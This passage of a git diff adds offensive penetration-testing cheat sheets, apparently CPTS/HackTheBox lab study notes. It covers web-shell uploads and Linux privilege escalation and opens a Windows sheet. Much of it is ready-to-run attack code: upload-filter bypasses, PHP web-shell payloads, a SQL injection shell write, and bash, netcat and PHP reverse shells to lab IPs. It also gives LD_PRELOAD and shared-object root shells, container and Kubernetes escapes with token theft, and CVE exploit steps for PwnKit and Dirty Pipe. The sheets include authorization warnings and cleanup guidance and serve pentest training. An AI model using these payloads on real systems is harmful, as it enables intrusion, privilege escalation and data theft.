+| **Extension check on last dot** | double ext `shell.php.jpg` / `shell.jpg.php` (depends which the server honours) |
+| **Trailing chars stripped by OS** | `shell.php.` · `shell.php%20` · `shell.php%00.jpg` (null byte, PHP < 5.3.4) · `shell.aspx::$DATA` (IIS ADS) |
+| **`Content-Type` (MIME) check** | intercept in Burp, change `Content-Type: application/x-php` → `image/gif` (leave PHP body intact) |
+| **Magic-byte / "is it an image" check** | prepend `GIF89a;` or JPEG magic `\xFF\xD8\xFF` to the file before the `<?php` |
+| **Real image required** | `exiftool -Comment='<?php system($_GET[cmd]);?>' img.jpg` → polyglot image + code |
+| **Server maps ext via config** | upload a `.htaccess`: `AddType application/x-httpd-php .jpg` then upload `shell.jpg` |
+| **Client-side JS validation only** | strip it — intercept the POST in Burp Repeater and send the raw multipart |
+
+```http
+# Burp: the two lines you flip on a MIME-only check
+Content-Disposition: form-data; name="file"; filename="shell.php"
+Content-Type: image/gif <-- was application/x-php
+```
+
+```apache
+# .htaccess trick (Apache) — upload this, then any .shell file runs as PHP
+AddType application/x-httpd-php .shell
+```
+
+### 3. LFI / log poisoning / wrappers → execution
+
+When you can't upload but **can include** a file (LFI), plant code where the app will read it: poison the User-Agent in the Apache access log then include `/var/log/apache2/access.log`, use `php://input`/`data://`/`php://filter` wrappers, or `/proc/self/environ`. Full technique set lives in the LFI/RFI notes — from here it's the same PHP payloads above, just delivered through the include.
+
+### 4. SQLi write primitive → `INTO OUTFILE`
+
+```sql
+' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/s.php'-- -
+```
+Needs `FILE` privilege, `secure_file_priv` unset, and a writable, known webroot path. Then browse `s.php?cmd=id`.
+
+### 5. Management interfaces & protocols
+
+```bash
+# Tomcat / JBoss WAR — see section C
+# WebDAV PUT (if PUT is allowed)
+curl -X PUT http://$IP/shell.php --data-binary @shell.php
+davtest -url http://$IP -uploadfile shell.php # tests which extensions are executable
+cadaver http://$IP/ # interactive WebDAV
+# anonymous FTP mapped to the webroot (module's chain): drop into /uploads, browse over HTTP
+ftp $IP # anonymous / <blank> → put shell.aspx → http://$IP/uploads/shell.aspx
+```
+
+### 6. CMS / app-specific
+
+- **WordPress** → Appearance → Theme/Plugin Editor, edit `404.php` to your PHP shell; or upload a malicious plugin zip. (`wpscan`, or msf `wp_admin_shell_upload`.)
+- **rConfig** → Devices → Vendors → Add Vendor "logo" field; upload `.php` and swap `Content-Type` to `image/gif` in Burp → `/images/vendor/<file>.php`.
+- **Joomla / Drupal** → template editor, or a media-manager upload + `.htaccess`.
+
+---
+
+## G · Interact & upgrade
+
+```bash
+# raw browser / curl
+curl "http://$IP/uploads/shell.php?cmd=id"
+curl -G "http://$IP/uploads/shell.php" --data-urlencode "cmd=cat /etc/passwd"
+curl -X POST "http://$IP/shell.php" --data-urlencode "c=whoami" # POST-based shell
+
+# wshx — turns a dumb ?cmd= shell into a stateful prompt (session cwd, upload/download, auth, WAF bypass)
+wshx -u "http://$IP/uploads/shell.php?cmd=CMD" # interactive
+wshx -u "http://$IP/shell.php" -X POST --data 'c=CMD' --param c # POST variant
+wshx -u "...cmd=CMD" -b 'PHPSESSID=..' --start '<pre>' --end '</pre>' # authed + trim wrapper
+wshx -u "...cmd=CMD" --proxy http://127.0.0.1:8080 --double-encode # through Burp, WAF bypass
+
+# UPGRADE to a real reverse shell (do this early — web shells are fragile)
+wshx -u "...cmd=CMD" --revshell $LHOST 443 # one-shot upgrade (pair with a listener)
+revx $LHOST 443 -t bash --encode # or generate a payload to paste manually
+# php one-liner a dropped .php pivots to:
+php -r '$s=fsockopen("'"$LHOST"'",443);exec("/bin/sh -i <&3 >&3 2>&3");'
+```
+
+> [!warning]+ Web shell interactivity is limited
+> Chained commands (`whoami && hostname`), interactive prompts, `cd` persistence, and `sudo` password entry frequently **don't work** through a bare web shell — each request is a fresh process. `wshx` fakes a persistent cwd; for anything real, upgrade to a reverse shell and stabilise (`python3 -c 'import pty;pty.spawn("/bin/bash")'`). See 3 - Reverse Shells.
+
+---
+
+## H · Troubleshooting matrix
+
+| Symptom | Likely cause | Next checks |
+|---|---|---|
+| File downloads or source is displayed | Wrong language/extension or no handler mapping | Re-fingerprint the stack; use a harmless interpreter probe |
+| `404 Not Found` after upload | Server renamed the file, different vhost, virtual path or storage outside webroot | Inspect upload response, redirects, HTML source and predictable media paths |
+| `403 Forbidden` | Execute permission, request filtering, application authorization or web-server deny rule | Compare static-file access; inspect method, extension and authenticated session |
+| Blank `200` response | Function disabled, stderr lost, exception hidden or no command parameter | Use a static marker; capture headers/body; test `pwd`/`cd`; check server error behavior |
+| Command runs but output is truncated | Timeout, buffering or binary output | Use `passthru`, redirect stderr, write a small lab artifact, or switch to a reverse shell |
+| Linux command works, callback does not | Listener/interface error, egress filtering, DNS failure or missing interpreter | Verify `$LHOST`, route, listening socket and outbound TCP/DNS with a harmless connection test |
+| Windows command works, PowerShell payload fails | CLM, AMSI/application control, quoting, architecture or proxy/TLS issue | Check language mode, available binaries, system proxy and event/error output |
+| `cd`/environment change disappears | Each request creates a new process | Use absolute paths, send `cd /path && command`, or use a stateful client |
+| WAR deploy says `FAIL` | Context already exists, wrong Manager role/path or malformed archive | Query `/manager/text/list`; choose a unique context; inspect WAR contents |
+
+### Fast request diagnostics
+
+```bash
+# Show status, redirects, cookies and server headers
+curl -vkI "$SHELL_URL"
+
+# Follow redirects while retaining a cookie jar
+curl -ksS -L -c cookies.txt -b cookies.txt -G "$SHELL_URL" \
+ --data-urlencode "cmd=id"
+
+# Confirm the listener is bound to the expected interface/port
+ss -lntp | grep ":${LPORT}"
+```
+
+---
+
+## Operational safety, detection & cleanup
+
+> [!warning]+ Control the assessment artifact
+> - **Restrict access:** Laudanum `allowedIps` = your source IP · Antak = built-in auth · custom = odd param name + a shared secret so no one else stumbles onto your shell.
+> - **Know the signature:** public shells are widely detected. Prefer a minimal, reviewable lab payload and record its hash instead of deploying a feature-heavy shell.
+> - **Assume requests are logged:** GET query strings are conspicuous, and WAFs/proxies may also retain POST bodies. Keep commands scoped and avoid placing credentials in either.
+> - **Clean up:** record every file you drop and `rm` it at the end — a leftover shell is a live backdoor. The file on disk is a forensic artifact *even when the payload is memory-resident meterpreter*.
+> - **Don't submit to public VirusTotal** — it leaks the hash/signature to vendors and burns the payload.
+
+### Artifact ledger
+
+| Item | Record before use | Cleanup proof |
+|---|---|---|
+| Uploaded shell | Local/server filename, URL, SHA-256, owner/ACL | URL returns expected 404/denial; file absent |
+| WAR/plugin/archive | Context or install name, deployment response, extracted paths | Undeploy/uninstall response; context no longer listed |
+| Server config (`.htaccess`, handler mapping) | Original content/hash and exact change | Original restored; handler probe no longer executes |
+| Reverse-shell helper | Destination path, listener port, process identity | File/process/socket absent |
+| Test account or app setting | Original role/value and UTC time | Original role/value restored |
+
+```bash
+# Hash before upload and keep the value with the engagement evidence.
+sha256sum shell.php shell.war 2>/dev/null
+
+# Tomcat Manager: list, then undeploy the exact assessment context.
+curl -fsS -u "$TOMCAT_USER:$TOMCAT_PASS" "$BASE_URL/manager/text/list"
+curl -fsS -u "$TOMCAT_USER:$TOMCAT_PASS" "$BASE_URL/manager/text/undeploy?path=/shell"
+```
+
+**Blue-team tells** (what defenders grep for, so you know what you're leaving): new files with recent mtime in upload dirs; PHP files containing `system|shell_exec|passthru|eval|base64_decode|assert`; short files in `/uploads`; unusual `Content-Type` on stored uploads; outbound connections from `www-data`/`apache`/`IIS APPPOOL`; access-log hits with `cmd=`/`?c=` query strings. Detection & prevention detail: 10 - Detection and Prevention.
+
+---
+
+## Lessons Learned
+
+1. **Fingerprint before you craft.** The single most common failure is uploading the wrong language for the stack — a `.php` on IIS just serves as text. Probe with `7*7`.
+2. **Filter bypasses are about *what's checked*.** Extension, MIME header, magic bytes, and real-content validation each have a distinct bypass; the `Content-Type: image/gif` swap defeats the most common (client-supplied MIME trust) one.
+3. **Upgrade fast.** A web shell is a stepping stone — fragile, semi-interactive, and noisy. Get a reverse shell (`wshx --revshell` / `revx`) and stabilise before doing real work.
+4. **You are leaving files.** Track and remove every dropped shell; restrict it to your IP or behind a secret while it's live.
+5. **Prebuilt shells are widely signatured.** Laudanum, Antak and weevely are reliable lab tools, but expect detection. Prefer a minimal, reviewable payload and retain its hash for the evidence record.
+
+## References
+
+1. [PayloadsAllTheThings — Upload Insecure Files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files)
+2. [Laudanum project](https://github.com/jbarcia/Web-Shells/tree/master/laudanum)
+3. [Nishang · Antak Webshell](https://github.com/samratashok/nishang)
+4. [weevely3](https://github.com/epinna/weevely3)
+5. [WhiteWinterWolf PHP web shell](https://github.com/WhiteWinterWolf/wwwolf-php-webshell)
+6. [tennc/webshell archive](https://github.com/tennc/webshell)
+7. [OWASP — Unrestricted File Upload](https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload)
+8. [PHP Manual — `system`](https://www.php.net/manual/en/function.system.php)
+9. [Apache Tomcat 9 — Manager App How-To](https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html)
diff --git a/src/content/sheets/privilege-escalation/linux-privesc-cpts.md b/src/content/sheets/privilege-escalation/linux-privesc-cpts.md
@@ -0,0 +1,474 @@
+---
+title: "Linux Privilege Escalation (CPTS)"
+description: "CPTS-focused Linux privilege escalation: enumeration, cron/PATH/wildcard abuse, SUID and capabilities, GTFOBins and container escapes."
+category: privilege-escalation
+tags: ["privilege-escalation", "linux"]
+tools: ["Gitleaks", "TruffleHog"]
+difficulty: advanced
+updated: "2026-08-28"
+source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/03 - Linux Privilege Escalation - CPTS Cheat Sheet.md"
+---
+# Linux Privilege Escalation — CPTS Cheat Sheet
+
+## Summary
+
+From a low-privilege shell to `root`. The loop is always the same: **enumerate broadly → identify the one vector → exploit it precisely.** Prefer the least-invasive path (SUID/capability/sudo misconfig) over a kernel exploit, which can panic the box. This card walks the module's vectors: initial situational awareness, cron/scheduled-task abuse, credential hunting, restricted-shell escape + env-var abuse, sudo & privileged-group abuse, Docker/Kubernetes escapes, kernel/SUID/SGID/capabilities, and the "remaining" library-hijack/NFS/tmux/logrotate vectors.
+
+> [!danger]+ HTB-Only Boundary
+>
+> 1. Authorized labs/engagements only. **Kernel exploits (esp. CVE-2022-25636) can corrupt the kernel / force a reboot** — get sign-off; prefer SUID/cap/sudo paths.
+> 2. When weaponising a script a root job runs, **append, never overwrite, and keep a backup** so the legitimate task still completes.
+> 3. Clean up droppers (`/tmp/sh`, fake `.so`/`.py`, rogue SUID binaries) — they're live local backdoors.
+
+> [!tip]+ Live command libraries
+> - **[GTFOBins](https://gtfobins.org/)** — search a Linux/Unix binary, then select the function that matches the real context: `sudo`, SUID, capabilities, shell, file read/write or another permitted primitive.
+> - **[WADComs](https://wadcoms.github.io/)** — command-focused Windows and Active Directory companion for later lateral-movement or cross-platform work.
+> - **[LOLBAS](https://lolbas-project.github.io/)** — Windows-native binary, script and library companion.
+>
+> A listed binary is not automatically exploitable. Match the page's required permissions and invocation to `sudo -l`, SUID/capability state, file ACLs and installed version.
+
+```mermaid
+%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%%
+flowchart LR
+ A["whoami / id / sudo -l\nuname -a"] --> B["Run LinPEAS / lse.sh\n+ pspy for timing"]
+ B --> C{"Vector?"}
+ C --> D["sudo/GTFOBins · groups\n(lxd/docker/disk)"]
+ C --> E["cron / writable script\n/ PATH / wildcard"]
+ C --> F["SUID-SGID / capability\n/ SO hijack"]
+ C --> G["kernel CVE (last resort)"]
+ D --> H["root"]
+ E --> H
+ F --> H
+ G --> H
+```
+
+---
+
+## 1 · Initial enumeration
+
+```bash
+# First five on any new shell
+whoami; id; hostname; ip a; sudo -l
+
+# OS / kernel (feed to exploit-suggester)
+cat /etc/os-release; uname -a; cat /proc/version
+cat /etc/lsb-release; lscpu; cat /etc/shells
+
+# PATH / env / mounts / net
+echo $PATH; env
+lsblk; cat /etc/fstab; route; cat /etc/hosts; arp -a
+
+# Users, groups, readable hashes
+cat /etc/passwd; grep "sh$" /etc/passwd
+cat /etc/group; getent group sudo
+cat /etc/passwd | head -n1 # a real hash here (not 'x') = crack it now
+
+# Homes, hidden files, temp, processes, history
+ls -la /home/*/
+find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep <user>
+ls -l /tmp /var/tmp /dev/shm
+ps aux | grep root; w; lastlog; history
+```
+
+> [!info]+ Hash prefixes & GTFOBins candidate list
+> `$1$`=MD5 · `$5$`=SHA-256 · `$6$`=SHA-512 · `$2a$`=BCrypt · `$argon2i$`=Argon2.
+> ```bash
+> find /usr/bin /usr/sbin /bin /sbin /usr/local/bin \
+> -maxdepth 1 -type f -executable -printf '%f\n' 2>/dev/null \
+> | sort -u | tee installed-binaries.txt
+> ```
+> Search interesting names at [GTFOBins](https://gtfobins.org/), especially anything present in `sudo -l`, SUID/SGID results or `getcap -r /`. Scraping the website into a loop is brittle and loses the function-specific prerequisites shown on each entry.
+
+> [!tip]+ Automated enumeration
+>
+> **LinPEAS** (run first — kernel vs exploit-DB, SUID/SGID vs GTFOBins, caps, world-writable Python/lib paths, `RUNPATH`, `no_root_squash`, creds) · **linux-smart-enumeration** (`./lse.sh -l1`, second opinion) · **pspy / pspy64** (root cron/timing without root) · **linux-exploit-suggester** (feeds `uname -r`) · **Lynis** (`./lynis audit system`). Note active controls: AppArmor, SELinux, Fail2ban, ufw.
+
+---
+
+## 2 · Cron & scheduled-task abuse
+
+```bash
+# Enumerate
+ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.d/
+crontab -l
+find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null # world-writable files
+
+# Confirm a root job live (UID=0 in output)
+./pspy64 -pf -i 1000
+```
+
+**PATH abuse** — hijack an unqualified command a root cron calls:
+```bash
+echo $PATH
+PATH=.:${PATH}; export PATH
+echo 'echo "PATH ABUSE!!"' > ls && chmod +x ls
+```
+
+**tar wildcard injection** (cron does `tar -zcf backup.tar.gz *` in a writable dir):
+```bash
+echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
+echo "" > "--checkpoint-action=exec=sh root.sh"
+echo "" > --checkpoint=1
+# after the job fires:
+sudo -l && sudo su # (root) NOPASSWD: ALL
+```
+
+**Writable backup script → reverse shell** (append, keep a backup):
+```bash
+echo 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1' >> /dmz-backups/backup.sh
+nc -lnvp 443
+```
+
+### systemd services and timers
+
+Cron is not the only root scheduler. A timer activates a service, and the useful write may be in the unit, an `EnvironmentFile=`, the `ExecStart=` script, or a parent directory.
+
+```bash
+# Find the trigger, then resolve the service it activates.
+systemctl list-timers --all
+systemctl list-unit-files --type=timer --type=service
+systemctl cat <name>.timer
+systemctl cat <name>.service
+```
+
+```bash
+# Pull the fields that decide whether the path is exploitable.
+systemctl show <name>.service \
+ -p User \
+ -p Group \
+ -p ExecStart \
+ -p EnvironmentFiles \
+ -p FragmentPath
+```
+
+```bash
+# Check unit search paths and every component of the executed path.
+systemd-path systemd-system-unit
+find /etc/systemd/system /usr/local/lib/systemd/system \
+ -type f -writable -ls 2>/dev/null
+namei -l /path/from/ExecStart
+```
+
+> [!tip] Exploit condition
+> You need a privileged unit plus a file or directory you can modify, or a permitted `sudo systemctl start/restart` action. Back up the file, preserve its legitimate behavior, record the original hash, and restore it after proving execution.
+
+---
+
+## 3 · Credential & config hunting
+
+### Application configurations
+
+```bash
+# Start with likely app roots instead of searching the whole filesystem.
+find /var/www /opt /srv /home -type f \
+ \( -name 'wp-config.php' -o -name '.env' -o -name 'configuration.php' \
+ -o -name 'settings.php' -o -name 'web.config' \) \
+ -readable -print 2>/dev/null
+```
+
+```bash
+# Search only readable config-like files in high-value roots.
+find /etc /opt /srv /var/www /home -type f \
+ \( -name '*.conf' -o -name '*.config' -o -name '*.ini' \
+ -o -name '*.yml' -o -name '*.yaml' -o -name '.env' \) \
+ -readable -print0 2>/dev/null |
+ xargs -0 grep -nIiE 'pass(word)?|secret|token|api[_-]?key|connection' 2>/dev/null
+```
+
+### SSH and shell history
+
+```bash
+# SSH material and lateral targets.
+ls -la ~/.ssh
+sed -n '1,120p' ~/.ssh/config ~/.ssh/known_hosts 2>/dev/null
+```
+
+```bash
+# Current history, then common database/shell history files.
+history
+find /home /root -type f \
+ \( -name '.*history' -o -name '*_history' -o -name '*_hist' \) \
+ -readable -ls 2>/dev/null
+```
+
+Deeper secret mining across `.git`: **trufflehog**, **gitleaks**.
+
+### Process environments and open descriptors
+
+Long-running services sometimes receive secrets through environment variables or keep deleted configuration files open. Access to another process’s `/proc/<pid>` data is permission-controlled, so only inspect entries the current identity may read.
+
+```bash
+ps eww -u "$USER"
+find /proc/[0-9]*/environ -readable -type f 2>/dev/null
+```
+
+```bash
+for env_file in /proc/[0-9]*/environ; do
+ [ -r "$env_file" ] || continue
+ strings "$env_file"
+done |
+ grep -Ei 'pass(word)?|secret|token|api[_-]?key|database_url|aws_'
+```
+
+```bash
+# Deleted-but-open files and interesting descriptors.
+lsof -nP 2>/dev/null | grep -i deleted
+find /proc/[0-9]*/fd -lname '*deleted*' -ls 2>/dev/null
+```
+
+---
+
+## 4 · Restricted shell escape & env-var abuse
+
+Restricted shells: `rbash`/`rksh`/`rzsh`. Escape via injection, substitution, chaining (`;`/`|`), env-var modification, functions.
+```bash
+ls -l `pwd` # command substitution
+sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh # GTFOBins escape
+```
+
+> [!bug]+ LD_PRELOAD (sudo `env_keep+=LD_PRELOAD`)
+> `sudo -l` shows `env_keep+=LD_PRELOAD`. `root.c`:
+> ```c
+> #include <stdio.h>
+> #include <sys/types.h>
+> #include <stdlib.h>
+> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }
+> ```
+> ```bash
+> gcc -fPIC -shared -o root.so root.c -nostartfiles
+> sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart
+> ```
+> Works even against absolute-path sudoers entries.
+
+---
+
+## 5 · Sudo rights & privileged-group abuse
+
+```bash
+sudo -l # what can I run as another user?
+sudo -V | head -n1 # exact version for CVE matching
+aa-status # check AppArmor before the tcpdump path
+id # note groups: sudo / lxd / docker / disk / adm
+```
+
+**[GTFOBins](https://gtfobins.org/)** — for any binary in `sudo -l`, check the matching `sudo`, SUID, capability, shell or file-access function (e.g. `sudo find / -exec /bin/sh \; -quit`, `sudo vim -c ':!/bin/sh'`, `sudo less` → `!/bin/sh`, `awk 'BEGIN {system("/bin/sh")}'`).
+
+**tcpdump `-z postrotate`:**
+```bash
+# /tmp/.test:
+rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f
+sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
+nc -lnvp 443 # "Permission denied" in output is misleading — payload still ran
+```
+
+**Sudo CVEs:**
+```bash
+# CVE-2021-3156 (Baron Samedit) — no sudoers entry needed; target index must match /etc/lsb-release
+git clone https://github.com/blasty/CVE-2021-3156.git && cd CVE-2021-3156 && make
+./sudo-hax-me-a-sandwich # then ./sudo-hax-me-a-sandwich <index>
+
+# CVE-2019-14287 (UID -1 bypass) — needs one permitted command, sudo < 1.8.28
+sudo -u#-1 id
+
+# CVE-2021-4034 (PwnKit / pkexec) — no sudoers/group needed
+git clone https://github.com/arthepsy/CVE-2021-4034.git && cd CVE-2021-4034
+gcc cve-2021-4034-poc.c -o poc && ./poc
+```
+
+**LXD/LXC group** (full escape):
+```bash
+lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
+lxc init alpine r00t -c security.privileged=true
+lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
+lxc start r00t && lxc exec r00t /bin/sh
+# inside: /mnt/root/root = host /root (shadow, ssh keys)
+```
+**disk** group → `debugfs /dev/sda1` reads/writes the whole FS as root. **adm** → read all `/var/log`.
+
+---
+
+## 6 · Docker escape
+
+```bash
+# Bind-mounted host dir inside the container (e.g. /hostsystem)
+cat /hostsystem/root/.ssh/id_rsa
+
+# Docker socket reachable from the container
+/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app
+/tmp/docker -H unix:///app/docker.sock exec -it <id> /bin/bash
+
+# 'docker' group on the host = root
+docker run -v /root:/mnt -it ubuntu # or mount /etc for /etc/shadow
+
+# Writable /var/run/docker.sock (no group) — fastest host shell
+docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash
+```
+Enum/escape helper: **deepce**.
+
+---
+
+## 7 · Kubernetes escape
+
+Ports: etcd 2379/2380 · API server 6443 · Kubelet API 10250 · read-only Kubelet 10255.
+```bash
+curl https://$IP:6443 -k # system:anonymous 403 = expected
+curl https://$IP:10250/pods -k | jq . # Kubelet often allows anon
+
+# kubeletctl — enumerate, find RCE, exec
+kubeletctl -i --server $IP pods
+kubeletctl -i --server $IP scan rce
+kubeletctl -i --server $IP exec "id" -p nginx -c nginx
+
+# Steal the service-account token + CA
+kubeletctl -i --server $IP exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee k8.token
+kubeletctl --server $IP exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee ca.crt
+
+# What can this token do? then deploy a host-mounting pod
+export token=$(cat k8.token)
+kubectl --token=$token --certificate-authority=ca.crt --server=https://$IP:6443 auth can-i --list
+kubectl --token=$token --certificate-authority=ca.crt --server=https://$IP:6443 apply -f privesc.yaml
+```
+`privesc.yaml` red flags to weaponise: `hostPath: path: /` + `hostNetwork: true`; then read `/root/root/.ssh/id_rsa` from the mounted host. Recon: **kube-hunter**; compliance: **kube-bench**.
+
+---
+
+## 8 · Kernel exploits, SUID/SGID & capabilities
+
+```bash
+# Generic workflow — compile ON the target
+uname -a; cat /etc/lsb-release
+gcc kernel_exploit.c -o kernel_exploit && ./kernel_exploit
+
+# Dirty Pipe — CVE-2022-0847 (kernels 5.8–5.17)
+git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
+cd CVE-2022-0847-DirtyPipe-Exploits && bash compile.sh
+./exploit-1 # rewrites /etc/passwd, pops root
+./exploit-2 /usr/bin/sudo # hijacks a SUID binary → /tmp/sh (clean this up)
+```
+
+| Netfilter CVE | Kernels | Note |
+|---|---|---|
+| CVE-2021-22555 | 2.6–5.11 | heap OOB via setsockopt |
+| CVE-2022-25636 | 5.4–5.6.10 | may corrupt kernel / reboot |
+| CVE-2023-32233 | ≤6.3.1 | UAF in `nf_tables` anon sets |
+
+```bash
+# SUID / SGID discovery
+find / -perm -4000 2>/dev/null
+find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null # SUID
+find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null # SGID
+
+# Capabilities enumeration + cap_dac_override via vim
+find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
+echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd # blanks root's password
+```
+Caps that lead to root: `cap_setuid`, `cap_setgid`, `cap_sys_admin`, `cap_dac_override`. Also: **screen 4.5.0** SUID → writes `/etc/ld.so.preload` → `/tmp/rootshell`.
+
+---
+
+## 9 · Remaining vectors
+
+**Shared-object hijack (RUNPATH):**
+```bash
+ldd payroll; readelf -d payroll | grep PATH # RUNPATH: [/development] (world-writable = vuln)
+```
+```c
+// src.c — reimplement the exact undefined symbol the binary calls (e.g. dbquery)
+#include<stdio.h>
+#include<stdlib.h>
+#include<unistd.h>
+void dbquery() { printf("Malicious library loaded\n"); setuid(0); system("/bin/sh -p"); }
+```
+```bash
+gcc src.c -fPIC -shared -o /development/libshared.so && ./payroll
+```
+
+**Python library hijacking** (three flavours):
+```bash
+# (a) writable module file — inject os.system('id') into the real function
+ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py # world-writable?
+sudo /usr/bin/python3 ./mem_status.py
+
+# (b) path priority — drop a fake module in a higher-priority world-writable dir
+python3 -c 'import sys; print("\n".join(sys.path))'
+# fake psutil.py: def virtual_memory(): os.system('id')
+
+# (c) sudo SETENV → PYTHONPATH
+sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py
+```
+
+**Writable account and policy files** — a direct path that automated scripts can bury in noise:
+
+§§§bash
+ls -l /etc/passwd /etc/shadow /etc/group /etc/sudoers
+for account_file in /etc/passwd /etc/shadow /etc/group /etc/sudoers; do
+ [ -w "$account_file" ] && printf 'WRITABLE %s\n' "$account_file"
+done
+§§§
+
+> [!warning] Preserve authentication state
+> A writable account database proves a critical control failure. If exploitation is required, take a timestamped backup and use a reversible test account or authorized sudoers drop-in—never blank or replace the real root credential.
+
+**NFS `no_root_squash`** (from an attacker box with real root):
+```bash
+showmount -e $IP; cat /etc/exports # /tmp *(rw,no_root_squash)
+# shell.c: int main(void){ setuid(0); setgid(0); system("/bin/bash"); }
+gcc shell.c -o shell
+sudo mount -t nfs $IP:/tmp /mnt && cp shell /mnt && chmod u+s /mnt/shell
+# on target (low-priv): ./shell
+```
+
+**tmux session hijack** (member of the owner's group):
+```bash
+ps aux | grep tmux # root ... tmux -S /shareds new -s debugsess
+tmux -S /shareds # attaches to root's session
+```
+
+**logrotten** (writable log + logrotate 3.8.6/3.11.0/3.15.0/3.18.0):
+```bash
+git clone https://github.com/whotwagner/logrotten.git && cd logrotten && gcc logrotten.c -o logrotten
+echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload
+nc -nlvp 9001 & ./logrotten -p ./payload /tmp/tmp.log
+```
+
+---
+
+## CVE quick index
+
+| CVE | Component | Prereq | Tool |
+|---|---|---|---|
+| CVE-2021-4034 (PwnKit) | polkit `pkexec` | none | `arthepsy/CVE-2021-4034` |
+| CVE-2021-3156 (Baron Samedit) | sudo ≤1.9.5p2 | none | `blasty/CVE-2021-3156` |
+| CVE-2019-14287 | sudo <1.8.28 | 1 sudoers entry | `sudo -u#-1` |
+| CVE-2022-0847 (Dirty Pipe) | kernel 5.8–5.17 | none | DirtyPipe-Exploits |
+| CVE-2021-22555 | kernel 2.6–5.11 | none | google/security-research PoC |
+| CVE-2016-5195 (Dirty COW) | kernel <4.8 | none | dirtycow PoC |
+
+---
+
+## Lessons Learned & gotchas
+
+1. **Enumerate before you exploit.** LinPEAS + `sudo -l` + `find SUID` + `getcap` answers most boxes; pspy catches the timing-based ones.
+2. **Least-invasive first.** SUID/capability/sudo/group beats a kernel exploit — kernels panic, and some Netfilter CVEs reboot the host.
+3. **Append, don't overwrite.** Weaponising a root-run script means adding a line and keeping the original intact, or you break the job and tip off defenders.
+4. **Every credential is reusable.** Try discovered passwords against all users/services/hosts; `known_hosts` + `arp -a` are your lateral map.
+5. **Clean up.** Rogue SUID binaries, fake `.so`/`.py`, `/tmp/sh`, sudoers edits — remove them all.
+6. **Check 10250 even when 6443 says no.** Kubelet often allows anonymous access when the API server is locked down.
+
+## References
+
+1. [HTB Academy — Linux Privilege Escalation](https://academy.hackthebox.com/module/details/51)
+2. [GTFOBins](https://gtfobins.org/) · [PEASS-ng (LinPEAS)](https://github.com/carlospolop/PEASS-ng)
+3. [linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester) · [pspy](https://github.com/DominicBreuker/pspy)
+4. [systemd unit documentation](https://www.freedesktop.org/software/systemd/man/latest/systemd.unit.html) · [Linux kernel `/proc` documentation](https://www.kernel.org/doc/html/latest/filesystems/proc.html)
+5. [HackTricks — Linux Privilege Escalation](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)
+6. [WADComs — Windows/AD commands](https://wadcoms.github.io/) · [LOLBAS — Windows living-off-the-land binaries](https://lolbas-project.github.io/)
+
+---
+
+> [!navigation] Continue the CPTS workflow
+> **Previous:** Attacking Common Applications
+>
+> **Dashboard:** HTB Pentest Workflow
+>
+> **Next:** Windows Privilege Escalation
diff --git a/src/content/sheets/privilege-escalation/windows-privesc-cpts.md b/src/content/sheets/privilege-escalation/windows-privesc-cpts.md
@@ -0,0 +1,442 @@
+---
+title: "Windows Privilege Escalation (CPTS)"
+description: "CPTS-focused Windows privilege escalation: token and privilege abuse, service/registry misconfig, credential theft and kernel exploits."
+category: privilege-escalation
+tags: ["privilege-escalation", "windows"]
+tools: ["Impacket", "Mimikatz", "Hashcat", "John", "Responder"]
+difficulty: advanced
+updated: "2026-08-28"
+source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/04 - Windows Privilege Escalation - CPTS Cheat Sheet.md"
+---
+# Windows Privilege Escalation — CPTS Cheat Sheet
+
+## Summary
+
+From a low-privilege Windows shell to `SYSTEM` / local admin. `whoami /priv` is the single highest-value command — token privileges (SeImpersonate, SeDebug, SeBackup) are the fastest wins, followed by privileged group membership, weak service/registry ACLs, credential hunting, and finally a missing-patch kernel exploit. This card covers the whole module: situational awareness, token & named-pipe abuse, the Potato family, built-in group abuse, UAC bypass, service/registry misconfig, kernel exploits, DLL hijacking, credential hunting/pillaging, attacking users, and LOLBAS/AlwaysInstallElevated.
+
+> [!danger]+ HTB-Only Boundary
+>
+> 1. Authorized labs/engagements only. Dumping LSASS, cracking NTDS.dit, and planting service binaries are high-impact — get sign-off.
